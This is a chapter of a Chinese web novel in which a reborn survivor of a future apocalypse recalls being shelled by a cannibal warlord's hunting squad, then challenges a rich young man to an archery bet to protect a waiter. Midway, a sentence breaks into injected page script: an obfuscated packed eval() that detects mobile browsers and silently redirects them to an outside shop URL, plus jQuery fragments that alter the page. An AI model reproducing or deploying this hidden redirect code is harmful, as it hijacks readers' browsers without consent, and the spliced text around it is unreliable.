在末世的第三年里,韩颂这个名字在江省内,几乎无人不知,无人不晓。
当然不是什么好名声。
而是恶名昭彰。
随着植物病毒的蔓延,以及动植物变异的加快,越到末世后期,人们能找到的食物越少,吃人的现象也就变得越来越普及。
吃死尸还算好的,可怕的是捕猎活人为食。
偏偏有许多成规模的势力,他们为了保持队伍的战斗力,不在末世残酷的争斗中落入下风,必须保证后勤补给的稳定,获得充足的食物来源。
专业的捕猎队伍就此应运而生。
在江省,甚至是南方地区所有势力里,“江省王”韩颂所豢养的捕猎队,规模最大,武器最精良,整体而言最训练有素。
当然,他们杀的人也最多。
甚至到了后来,韩颂和一帮逃犯势力联手,不知道从哪里搞来一批非常危险的军火,将捕猎队重新武装了一遍,放他们出去捕杀活人。
叶灵心外出搜寻物资时,就遇到过几次这支队伍。
第一次第二次,她凭借自己的身手和经验,带着同伴们敏捷地躲开了追捕。
但是第三次就没这么好运了。
她碰到的,是经过现代武器武装过的捕猎队。
不是一帮子人拿着刀或枪,在废墟里窜来窜去,像捉耗子一样堵幸存者。
而是一些人开着飞机,从天空中往下扔导弹,另一些人在地上架起大炮,把其他方向的路径都堵死,逼着人们只能往一个方向逃。
没被炸死的人却也逃不掉。
因为在最后那条逃命之路的尽头,还有一伙人端着枪,对所有向此处奔来的幸存者进行扫射。
死去的人纷纷倒下,沦为那些大型势力的食物。
他们将此称之为“围猎”。
叶灵心还记得自己遭遇“围猎”时的情形。
巨大的爆炸声在身后响起,炮火和子弹像雨点一样落下。
身旁的同伴一个接一个倒下去,她却连看他们一眼都不敢,只是一个劲往前跑、往前跑,生怕慢了一步就被死神追上。
但她最后还是倒下了。
一枚G309爆裂弹在不足五十米的地方炸开,巨大的冲击波和热浪将她整个人掀翻在地。
后背的衣服全被烧光,头发也着了火,脊背上火烧火燎地疼。
那时的她还没有失去意识,尽管被炸得站不起来,她还是用尽最后的力气,手脚并用,拼命让自己爬进了一个废墟的缝隙里。
新的爆炸掀起一片泥土,将这个细小的裂缝掩盖了大半。
这个巧合最终救了她一命。
她在裂缝里昏了过去,幸运地没有被打扫战场的捕猎队搜到。
等醒来后,她便自己挖开泥土爬了出来,不久终于和前来接应她的温思思一行会合。
躲在缝隙中的时候,她在想些什么呢?
叶灵心木然回忆着——
是憎恨韩颂吗?
不是,对于那时的她来说,“江省王”太过于遥远了,几乎就像个传说中的人物,恨他实在是一件没有意义的事情。
是怨恨自己的弱小和无能吗?
也不是,毕竟她其实清楚地知道,人的力量,无论如何都不能和那些大型热武器相抗衡。
那是什么呢?
到了最后,她眼前一亮,忽然低低笑了一下——
啊,终于记起来了。
她那时想的是:
还好他们扔的不是核弹……
…………
前方的吧台前,情况也发生了变化。
和韩颂结伴而来的那个年轻男人,观察了正在忙碌的沈书言一阵后,见他端起托盘就要离开,立刻上前两步拦住了他的去路。
“哟,这不是我们的沈大学霸吗?怎么,来华府天下端盘子,这是为了体验生活?”那人倚在吧台前,用戏谑的口吻笑问。
沈书言这时才注意到此人,愣了一下,脸上神色却没什么变化。
“请您让一让,不要打扰我们的工作。”他微笑着说。
那人当然没有让开。
不但没让开,他还挥了挥手,让身后的保镖将沈书言围了起来。
“沈学霸,不欢迎我吗?好歹我们也算是高中同学,这么多年不见,你难道不想和我叙叙旧?”那人歪着头,痞里痞气地道。
一旁的其他服务生看到这副架势,脸色立刻变了一变,商量了片刻便派了个人上楼报信。
叶灵心离得近,听到他们说的是“有人闹事,快去找林经理”。
也不知道这林经理能不能摆平此事?
不过,吧台前,沈书言暂时却等不到其他人前来帮忙了。
他看了看身边的几个保镖,知道自己一时脱不开身,干脆将手里的托盘递给同事,在吧台前站定了,神色淡淡地看着此人。
“裴少,今天你带这些人来堵我,不是真的为了和我叙旧的吧?”沈书言笑问道。
原来这人就是裴元佑。
叶灵心一挑眉,心中忽然明白了什么。
裴元佑却很沉得住气,脸上没流露出一丝异样之色。
“怎么不是呢?你以为我是来干什么的,给某些小角色出头?放心吧,我裴某还没那么闲。”裴元佑不动声色说。
“那裴少是打算——”沈书言不和他打哑谜,直白地开口问道。
“都来华府天下了,当然是来玩的。”裴元佑笑道。
说着,他上下打量了沈书言两眼,若有所思:“我身边的这位韩少说,看你似乎有些眼熟,这么说来,沈学霸,你之前曾经在三楼当过荷官吧?”
“是,裴少想打牌的话,现在也可以去三楼。”沈书言坦然承认。
“我确实想玩,但不想和庄家玩——沈学霸,相见就是缘分,不如我们两个来两把?德州会不会,你在三楼应该学过吧?”裴元佑图穷匕见。
沈书言脸上笑容不变,人却小心地后退了一步。
“不好意思,裴少,我不赌钱。”他语气平静地拒绝。
裴元佑的脸色却瞬间就变了。
“怎么,沈学霸,不给我面子啊?”他的笑容中透着股阴沉。
“裴少说笑了,我只是一个普普通通的服务生,一个月底薪两千块,裴少开的牌局,我玩不起。”沈书言不卑不亢说道。
“是吗?可我怎么听说,你在这里靠卖酒挣得不少啊?”裴元佑歪头。
“一点小钱而已,裴少要是愿意赏光,我和林经理自然感激不尽。”沈书言继续说套话。
但看得出来,他已经厌烦了这样的过招。
不然不会把林经理的名号拿出来压对方。
裴元佑嗤笑一声,转头看到吧台酒柜上的酒水,忽然又有了个新主意。
“沈学霸,你都这样说了,我倒是很愿意赏赏光。”他笑了一下。
说着,他随意点了几瓶酒水,让旁边的服务生给他拿到吧台前。
看着面前曾经的同学,裴元佑恶劣地笑道:“既然你不愿意玩牌,那好,我不勉强。但来了华府天下,我总要玩点什么开心一下吧。”
“裴少想玩什么?”沈书言察觉了气氛不妙,却仍是继续问道。
“简单,你把这几瓶酒都喝完,咱们之间的一切,通通一笔勾销。”裴元佑动作夸张地一挥手。
“一笔勾销?”沈书言低声重复了一遍。
“没错,不但如此,我除了花钱买这些酒外,还会按原价给你小费,你喝了多少,我就给多少。怎么样,够有诚意了吧?”裴元佑笑道。
看他的样子,似乎笃定了对面的人绝不会拒绝。
沈书言确实也没有要拒绝的意思。
他看着吧台上的那几瓶酒水,沉默了好一阵,目光在价格最贵的那一瓶上反复掠过。
一旁,和裴元佑一起来的人却有些不耐烦了。
看了看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973456|192708||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
腕上手表,韩颂压低声音催促道:“你和一个服务生过不去干什么?台风一个小时后就到,我们要快些回去了。”
“等一下嘛,这种好戏可不多见,你就再陪我多看十分钟。”裴元佑却丝毫不急,拉住好友懒洋洋地道。
韩颂无可奈何,只能坐下来等着他。
两人交谈间,沈书言似乎也下定了决心,抬手拿过早就看好的那一瓶最贵的酒水。
“裴少,刚刚你说的话都还算数?”他认真问道。
“当然算数。”裴少正色点头。
“好。”沈书言笑了笑。
说着,他拿起开瓶器,熟练地将酒瓶打开。
举起酒瓶,沈书言笑道:“裴少,希望今天之后,我们之间的事情真能一笔勾销,还有——”
“还有什么?”裴元佑饶有兴致问道。
“还有,不要再叫我什么学霸,那都是很久之前的事情了。不介意的话,可以像其他客人一样,叫我阿言。”沈书言淡淡说道。
裴元佑笑了起来,脸上满是畅快恣意的神情。
但就在这时——
一个轻灵的女声响起,笑着打断了沈书言的动作。
“等一等,先别喝。”
叶灵心上前一步,排众而出,抬手就按住了对方手中的那个酒瓶。
没有管沈书言眼中的惊讶,她转头看向一旁的裴元佑。
“裴少不是想赌吗?跟我赌一局怎么样?”叶灵心似笑非笑地问道。
裴元佑一愣,却很快回过神来。
“这位女士,你想赌什么?”他好整以暇地问道。
“弓箭。”叶灵心指了指一旁放着的几张反曲弓。
顿了顿,她补充道:“分别比十米、三十米、五十米靶,一局十支箭,环数高的赢,总体三局两胜,赌注你们来定,裴少觉得怎么样?”
听到她的话,裴元佑着实犹豫了一下。
他应该并不擅长弓箭。
看到对方这样的反应,叶灵心蹙了蹙眉,心中已经在考虑其他拖延时间的办法了。
不管怎么样,不能让沈书言喝酒,也不能让韩颂就这样走了。
那几瓶酒都是烈酒,真喝一整瓶下去,肯定当场就要被拉去医院洗胃。
她答应了周姨会送沈书言安全回去,就绝对不能食言。
至于韩颂……
沉默之间,脊背上那不存在的烧伤,忽然再次灼痛了起来。
当年那样重的伤势,她足足躺了一个多月才勉强好些。
药物不起效用,于是只能用物理办法,不停用刀割掉腐肉,灼烧伤口以消毒止血,折腾下来几乎要了她大半条命。
即使是这样,伤好之后,她的脊背仍是时不时痛得难受。
这就是“江省王”留给她的永恒回忆。
自重生以来,叶灵心一直觉得自己看得很开,没必要的事情从来不做,只要旁人不惹到她头上,她就干脆睁一只眼闭一只眼。
像是叶明珠、方文慧、赵明辉之流,只是恶心而已,对她又造成不了实质性的威胁。
不蹦跶到她眼前,她也懒得出手去对付。
但是韩颂不一样。
此人不死,对将来的她来说就是个心腹大患。
而今天,她既然遇到了此人,就绝对不能再放跑他!
这可能是她唯一的机会……
杀了未来“江省王”的机会!
深吸一口气,眼看裴元佑还在犹豫,她忽然拂了一下鬓发,倚在吧台前,露出一个自信而微带锋芒的笑容。
“怎么,裴少不敢赌啊?”叶灵心扬起下颌笑问。
而对面,看着那穿着一身休闲装、长发微鬈,容颜精致明丽的女生,挑眉向他露出那样一副挑衅般的表情——
裴元佑一瞬就失去了理智。
“好啊,这位女士——”他露出一个略带火气的笑容,沉声答应道。
“我赌了!”